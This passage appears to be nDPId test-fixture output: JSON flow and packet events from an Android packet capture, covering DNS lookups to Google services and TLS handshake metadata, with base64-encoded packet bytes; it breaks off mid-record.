+00691{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":310,"source":"android.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":2,"flow_first_seen":1582454871343,"flow_last_seen":1582454871383,"flow_tot_l4_data_len":136,"flow_min_l4_data_len":60,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":68,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":35689,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.GoogleServices","breed":"Acceptable","category":"Web"},"dns": {"query":"semanticlocation-pa.googleapis.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.20.74"}} +00429{"flow_id":43,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":312,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":393426,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA03ooAAGcGtUytwk9ywKgCEABQj+ImKPgHbuhyfIARAP08jwAAAQEICsGE8Ov\/\/zcL"} +00431{"flow_id":43,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":313,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":395482,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0RuhAAEAGM+\/AqAIQrcJPco\/iAFBu6HJ8Jij4CIAQAV88JAAAAQEICv\/\/NxTBhPDr"} +01679{"flow_id":38,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":461751,"pkt_caplen":984,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":984,"pkt_l4_len":950,"pkt":"xiwDYGpkTGr2n\/YnCABFAAPK3xNAAEAGlfrAqAIQ2O8meIDaAbu5DOv2\/LuVV4AYAXio+QAAAQEICv\/\/NySJFICsFwMDA5EIY5j9ZA1qHIz45oNpOaFuKTa406BzzgMGq9aV2sseOT6uYn\/S+YukxH360M7FytK1cBcqsctNy7tE\/Klb21aOWi0JAjgnrqqEBilguRx4cGVc8w996lSUVfuXyH9\/dG8pLYMfJcnaGtOXQEdBX3vOd\/I0onjCU52qfnZ8zQjn3zLdnoI\/BrPsFLVNm+gW6Eyp9GsJrlAXTz8OQ7ayAoEbxoqUjazFmddEKh5ZQHlCp+\/S1PFnbr0zaTsFjMzTtRd4a+\/ln4EzpZna3ZgbhBIcZcLEGDw5ciSqm78DrnO5iELBPvdr8bqgciq3hshMY0LvQ7yEY0mR+g+5SpvodaNJiIfDykNERNrvjNi84v8eOzKbcZCBkewgxjxidZqELeL4Q9vC2sODnfAcm6XJtfOolPxuNh9FmKJGi1JfyRJNaNCYie8wSe\/aTGFVok6pIEjQnexa+epzyKwgyzA+GGOyMr\/Exthwh2MmvvzCwj8rH5SPzLdqOj9h+NgeGbklPFTg6b4O+l5pE2gRklmTt+RonbTYmKsgAZCnQIfvhKoJmg2Y+F2WQ2OwRSAP7YGxHdlkO5QnqRYNyupLj6xxwXhYe0QRCgePLpUp6gtXSwIWClCbXqFIyR3RGj+SeFLF7C4fi2UiLrARKRPBdHjCDXXuRQCH2UCws0sY2d5MqdG4Vuvj+mNVwkJMNof1x6EGI73isOezCI3ejxRm\/SJ0aQFhdZrg19UhfY0avOAs9b5BizwjtCFelMg8\/WR4w\/BePpLlz4RgZJgP4etDROSwWVNn+zlqiszR1IylfSOE7UHn96PnKgt69gzNHPIO\/Pxj0WhzoDDFAmKN4VxOQltJ7MfegURE7WCaHkw4WAOojRZB1fRLZDU0AOmywHqGa5feKhHhA6nH5yaqoETZyVMFp6My\/zk2gmHG6usapDIROPNYA\/5kb3\/YsHPUgaE4uasMwWZOkCgnTwvQ8d0\/D7iMFmkF37EOBRYDnzsNr\/qFYjJeVve42lyowjDq0Mbzu3WMoJdyOBrZwT47Q3LBORc8QVLUwzUPN\/YcohaRqc9Xjid9ZkZZNRrThrIZG2ypK0QWNv55SGIO+Y7\/PEbW7QOHS1p9W+a3GvL6mTCoxzhDV+VOEVg9Ejo3QIk3Kdr1QhXC8VtT3zmcryFAGrTVfkn+sqpXftUoBjBfouJCONDiM8Fk9Fr+\/80O5diBfaMbk\/1LdHOn"} +00429{"flow_id":38,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":474547,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA04lEAAHcGn1LY7yZ4wKgCEAG7gNr8u5VXuQzvjIAQAPe0xwAAAQEICokUgWP\/\/zck"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":324,"source":"android.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1582454871496,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":22850,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":496841,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBq+5AAEARCVzAqAIQwKgCAVlCADUALUQf0TEBAAABAAAAAAAABXByb3h5CWdvb2dsZXppcANuZXQAAAEAAQ=="} +00637{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":324,"source":"android.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1582454871496,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":22850,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"proxy.googlezip.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00556{"flow_id":35,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":325,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":500216,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkTGr2n\/YnCABFAACRopNAAEAGf3PAqAIQrNmozsTQAbv86phbj0XFS4AYAXh5yAAAAQEICv\/\/Ny5msgBAFgMDACUQAAAhINwq9dm2l+1NqZbhRu5yA6j6RbJvmaMd4dASJb8g97h4FAMDAAEBFgMDACgAAAAAAAAAAHyPThhVhwEUPK3EZVkzHmk2upX9RvQBnCbUPrOAggRx"} +00466{"flow_id":50,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":536801,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRnZYAAEARV6TAqAIBwKgCEAA1WUIAPff70TGBgAABAAEAAAAABXByb3h5CWdvb2dsZXppcANuZXQAAAEAAcAMAAEAAQAAAJMABKzZFEw="} +00664{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":332,"source":"android.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":2,"flow_first_seen":1582454871496,"flow_last_seen":1582454871536,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":22850,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.DataSaver","breed":"Fun","category":"Web"},"dns": {"query":"proxy.googlezip.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"172.217.20.76"}} +00831{"flow_id":35,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":333,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":538424,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"TGr2n\/YnxiwDYGpkCABFAAFY1kUAAHUGVfqs2ajOwKgCEAG7xNCPRcVL\/OqYuIAYAPB\/hAAAAQEICmayB0j\/\/zcuFgMDAOwEAADoAAGJvgDiAZR0wlJK56tqlFe1HOm0VICTP5ZM\/eSHNSM2EnSKfUzry\/oUm6AATJtMRjz8a94e7NdE77GktTCb8W9\/REi7XjvKa9zAnUKqD351xUG6x23vdQzLarjM55gDmCiTGJTE8ECuAaYeBOyVdE7a4jahZlQ5K8Rht5jCI9tVIWfOGdj4LDS21nhwgv71QLVUNpo\/kvdBLsdVnNCwlFpRqUtJRdwVlBA8ttrRUdvraKOu77af5AxzZ1K+zVMBBHOYfeTvwFLZnmrpEU7qLLrKUtNpD1gl9s58z9XAoaWRJHqygPeXHxQDAwABARYDAwAoAAAAAAAAAACls3U\/mXy65X7Grzj2c6IzhQm8OEIMQqPstE+Q9ytycg=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":335,"source":"android.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1582454871553,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.76","src_port":43634,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":335,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":553292,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8o7ZAAEAGEyjAqAIQrNkUTKpyAbt9gJSNAAAAAKAC\/\/\/OqgAAAgQFtAQCCAr\/\/zc7AAAAAAEDAwg="} +00440{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":336,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":591165,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8n5IAAHUGIkys2RRMwKgCEAG7qnIP+mJJfYCUjqAS6yAAJQAAAgQFZAQCCAqRSuAV\/\/83OwEDAwg="} +00430{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":337,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":592307,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0o7dAAEAGEy\/AqAIQrNkUTKpyAbt9gJSOD\/piSoAQAVcYYgAAAQEICv\/\/N0WRSuAV"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":338,"source":"android.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1582454871600,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":58892,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00448{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":338,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":600718,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"xiwDYGpkTGr2n\/YnCABFAABBq\/ZAAEARCVTAqAIQwKgCAeYMADUALTc\/5u4BAAABAAAAAAAACGFjY291bnRzBmdvb2dsZQNjb20AAAEAAQ=="} +00638{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":338,"source":"android.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1582454871600,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":58892,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"accounts.google.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00466{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":339,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":601103,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"TGr2n\/YnxiwDYGpkCABFAABRUPMAAEARpEfAqAIBwKgCEAA15gwAPWHd5u6BgAABAAEAAAAACGFjY291bnRzBmdvb2dsZQNjb20AAAEAAcAMAAEAAQAAANoABNjvJng="} +00666{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":339,"source":"android.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":2,"flow_first_seen":1582454871600,"flow_last_seen":1582454871601,"flow_tot_l4_data_len":106,"flow_min_l4_data_len":45,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"192.168.2.1","src_port":58892,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Google","breed":"Unrated","category":"Web"},"dns": {"query":"accounts.google.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"216.239.38.120"}} +01125{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":340,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":614271,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5o7hAAEAGESnAqAIQrNkUTKpyAbt9gJSOD\/piSoAYAVdLzQAAAQEICv\/\/N0uRSuAVFgMBAgABAAH8AwNx38g8c64XBkE7jetV3Cdtn9z0vCweKrcHtwdhHbSQ+SAUmDom3MjZPcHpObhTXaYvtFsSBZnsdLd6vfStLts0RQAiuroTARMCEwPAK8AvwCzAMMypzKjAE8AUAJwAnQAvADUACgEAAZE6OgAAAAAAGAAWAAATcHJveHkuZ29vZ2xlemlwLm5ldAAXAAD\/AQABAAAKAAoACGpqAB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQASAAAAMwArAClqagABAAAdACBvCWpMIieU6hTvNOrIocRNkNYDiS7EYWL5ZMqbRo33UAAtAAIBAQArAAsKKioDBAMDAwIDAQAbAAMCAALq6gABAAAVAMUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00792{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":340,"source":"android.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":4,"flow_first_seen":1582454871553,"flow_last_seen":1582454871614,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.76","src_port":43634,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DataSaver","breed":"Fun","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"proxy.googlezip.net","ja3":"66918128f1b9b03303d77c6f2eefd128","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00557{"flow_id":46,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":341,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":621466,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkTGr2n\/YnCABFAACR2r5AAEAGnYjAqAIQ2O8meIDkAbvMau0jlTRYQ4AYAW31ZwAAAQEICv\/\/N0zIBAkdFgMDACUQAAAhICz48gWJKZkp2KCZYEWlbEtnamYNOrvBXd8icZepK9lYFAMDAAEBFgMDACgAAAAAAAAAAKgrBLovHa9iALmwD3r2UN8P\/Cc1B+BYZJt55LSw9zEx"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":342,"source":"android.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1582454871623,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":33002,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":623035,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA8E0lAAEAGZVPAqAIQ2O8meIDqAbtXpCQEAAAAAKAC\/\/9QRAAAAgQFtAQCCAr\/\/zdNAAAAAAEDAwg="} +00429{"flow_id":51,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":343,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":627484,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0o7lAAEAGEy3AqAIQrNkUTKpyAbt9gJaTD\/piSoARAVcWUwAAAQEICv\/\/N06RSuAV"} +00833{"flow_id":46,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":634694,"pkt_caplen":358,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":358,"pkt_l4_len":324,"pkt":"TGr2n\/YnxiwDYGpkCABFAAFY208AAHUGpzDY7yZ4wKgCEAG7gOSVNFhDzGrtgIAYAPDi8wAAAQEICsgECrP\/\/zdMFgMDAOwEAADoAAGJwADiAZR0wlJK56tqlFe1HOm0VCpWs2\/K26cuVt0+FdhYYcAWYeBOMH739QqoXqTZxdAwSf5SJMkskBjvOFCT2egFBRGdz\/dMQa+5zEG7KzOq8+a2cjNiNSFQTukt0\/JfWFxxYclpUg8+WWJMLKDlF4keVUBUuqhc3eLmRYgOPso9z5UsT7\/VPm60p2zlqL5BHD25XoT1UaPNRkJjTDwBD\/qzk9ErFC+85Zjzt2e1vrZc+B5QnFf4cqMxExq\/KExjhomz3HtjXzkdwfQ2L3WwYtsha\/0yWLJKeItQHe7kJtjmA7KLSRQDAwABARYDAwAoAAAAAAAAAAC\/tg0hOynrZ\/f7nkadyxJgik+pTzT93RTmcJLpr0rG5g=="} +00440{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":636179,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8YK4AAHYGIe7Y7yZ4wKgCEAG7gOoEIWijV6QkBaAS6yBQGwAAAgQFZAQCCAqpXP8l\/\/83TQEDAwg="} +00429{"flow_id":46,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":641134,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA02r9AAEAGneTAqAIQ2O8meIDkAbvMau2AlTRZZ4AQAXh99QAAAQEICv\/\/N1HIBAqz"} +00428{"flow_id":53,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":641192,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0E0pAAEAGZVrAqAIQ2O8meIDqAbtXpCQFBCFopIAQAVdoXgAAAQEICv\/\/N1GpXP8l"} +00428{"flow_id":51,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":652290,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA0n6sAAHUGIjus2RRMwKgCEAG7qnIP+mJKfYCWk4AQAPAWgQAAAQEICpFK4FL\/\/zdL"} +02347{"flow_id":51,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":657677,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+n7AAAHUGHKys2RRMwKgCEAG7qnIP+mJKfYCWk4AQAPAEYAAAAQEICpFK4Ff\/\/zdLFgMDAHoCAAB2AwOPVTJtEs3gf1JQJ54x92TKTbqcMls2IBI7\/RbU2tFBCSAUmDom3MjZPcHpObhTXaYvtFsSBZnsdLd6vfStLts0RRMBAAAuADMAJAAdACCozDi85GAF8pR1Uiio9N4UGVPRA1gFdUuBR9Q3czJ9RwArAAIDBBQDAwABARcDAwtmEqagNpqEhAgJf+qZyqmCpO7zG\/YAcHcYyApmtEaTnl8cEqxMeQBHk2KbSOgUJG44WHMUhkl+2dDTTpIYPxRDrOLO8Rg2A6YgdrrsyDd9DQBa\/K0olttbUhRZRMlJoRKvOBHtvJ4+rFJPAk97\/AXv9BA93HVXZC+ChAsO\/ifM2TWK\/LcsQnQBFbjX4O+bdKzRl82CuV2z8UZyIcWwxQVIuTGHNAgSdb838jw3Xl8wPTm3jEl05I5d7QdpB+dOs4W50cPZRbfDbiD6H\/eSlp9XpSkDmC0HVWnCos8Jj4I3yCfRc6INL11ABaHz9jJPtEHGZBGt4BNhGQGbyLD91LjPNVNLnnMhtP3b3WURImoG92vNJqWkj9FMvDg4MadxFXT6S6JwBY9w75Y7DTNaxIVegVpCWV1PEl2jHNqltZPLtR7JuoJPbVEzIzBndk+zE9Qq09N190sA0UKg+T6RzgI7Xgg5nAYsMfrAAxXMrbc95wgQuUKr6bhp1fsgLOYObnAeTTRZlnbipIHPo4pOrNjY73d6D63j0T91b83lh7pnnDu6ufzlMvxATA0SUAbEXAqFAmEfXHcoZEQMfMQNTvXPjfs2X35J2gY9fnsXP3jhr9NNyoFVoTkXH8WXJEPczhBCL8WScIqQeP3HK4zMm\/ZJnHfSnIsOXKddfUGEkuLyHqlFcAuFstOB9a1b6TjNjq6YxbALUxZmsbqh1hCmu0dl0y1QAhoQUueTQeoPKXm1oUGMGikbS1CCDcmLHtfTs8HTseGk0xOiohRj+O3C265izRQUl21hZLDVxgq0uKrqp5SCWDA6Qc0q8xb\/2h3mv8AicunZab8angnAW7wQecOUbnM\/hsHYRPA92s+vp5TsYzO9rEz4T2e9DE0V6SYQMPwvigovQ23f+Nwx8WNogNCGkqwlNOrryULXSJKPANU4fSgAO7iQMUD3lka1k3obKzkWxmYoJcj1bNJYLC2jxr9CEUG8hNkMco1SDfT1vgV19eS1q\/luKVvxNuTDdsLumyBuk1aPRsLJ0O2hvmD3h\/5giSDc0i1DNam\/lcRjeteNPNJ8zktJdU3G7CNA\/OY9bwzX9RzwYnCovPol8wag5NbSFx45rEz+UlvzBV8Z4UehiNau1c7i+OMjxRJwG0xU7RrACKJDCI2IlZcNIt6tMSmSZREozix0IdeMybPIxeyFx93O1d1VODk9SqyWH4e6W\/CgpgweMA1GBpCHDBMjf47d8TupJ7B70+Z7pCg+ooRc6Sgt+0w2AWe7U4TxqzFP6TvraYrzA0u6Z7Iuo5pORbBwdwCMLORYpzehjs0u5Drpvb+QeZozsYsz+O5Ye\/96XfLrvwILLJqVlDq\/sqHFiRnllUQxvFEntDaYdcn\/x2ZoV046gazabq1VblZO7r\/2L7wUh0ZaRrtnpVeB2A3Dw+yRsShKwD6w+cETjaEUEEY\/ldhNmMJsqA6vuGQrbd7yqALw4zaEz1BlibQBia2WRyE7Zgw\/cTiScvqQgZ6yvYvadHtz3JyJNTf8ieY8MY4imLE2ubFTYKjKcjNECdz6e4aqfh6N9xIxgRDumXSWmGX7mozHYYK4PAagiEHRTTwlRNvkCXq5IVniYN83DlQ7LvkeawIMz3GDG50UuTou0Df6HRQat2YWrd0FVsVJOLJAuoESSM2nBA8NNNWxg1ZOzeHRN3tUka8W0mQGhBUthKnSnAc="} +00833{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":349,"source":"android.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":7,"flow_first_seen":1582454871553,"flow_last_seen":1582454871657,"flow_tot_l4_data_len":2175,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":310,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.20.76","src_port":43634,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DataSaver","breed":"Fun","category":"Web"},"tls": 